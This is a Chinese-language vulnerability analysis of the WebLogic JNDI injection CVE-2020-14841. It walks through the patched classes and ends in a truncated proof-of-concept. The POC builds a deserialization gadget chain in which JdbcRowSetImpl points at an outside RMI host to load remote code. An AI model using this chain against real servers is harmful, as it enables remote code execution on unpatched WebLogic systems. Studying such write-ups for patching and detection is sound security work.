cve 2020-14841 weblogic jndi注入

## cve 2020-14841 weblogic jndi注入

## **简介**

通过diff 升级包中weblogic的黑名单，我们发现新增`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`这个类

## **LockVersionExtractor 分析**

“`
package oracle.eclipselink.coherence.integrated.internal.cache;

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;

public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;

public LockVersionExtractor() {
}

public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}

public Object extract(Object arg0) {
if (arg0 == null) {
return null;
} else {
if (arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}

if (!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}

return this.accessor.getAttributeValueFromObject(arg0);
}
}
“`

我们可以从代码上看出来，类似与 cve-2020-2555，用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径

“`
package org.eclipse.persistence.internal.descriptors;

public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = “”;
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;

public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
return this.getAttributeValueFromObject(anObject, (Object[])null);
}

protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if (throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else {
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else {
return this.getMethod.invoke(anObject, parameters);
}
“`

MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于，只能执行无参的函数，从这点来看，我们很容易的与七月份 cve-2020-14645 联想起来

## **POC**

“`
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(“rmi://192.168.3.254:8888/xsmd”);

MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName(“getDatabaseMetaData”);
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName(“UnicodeSec”);

LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, “UnicodeSec”);

final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue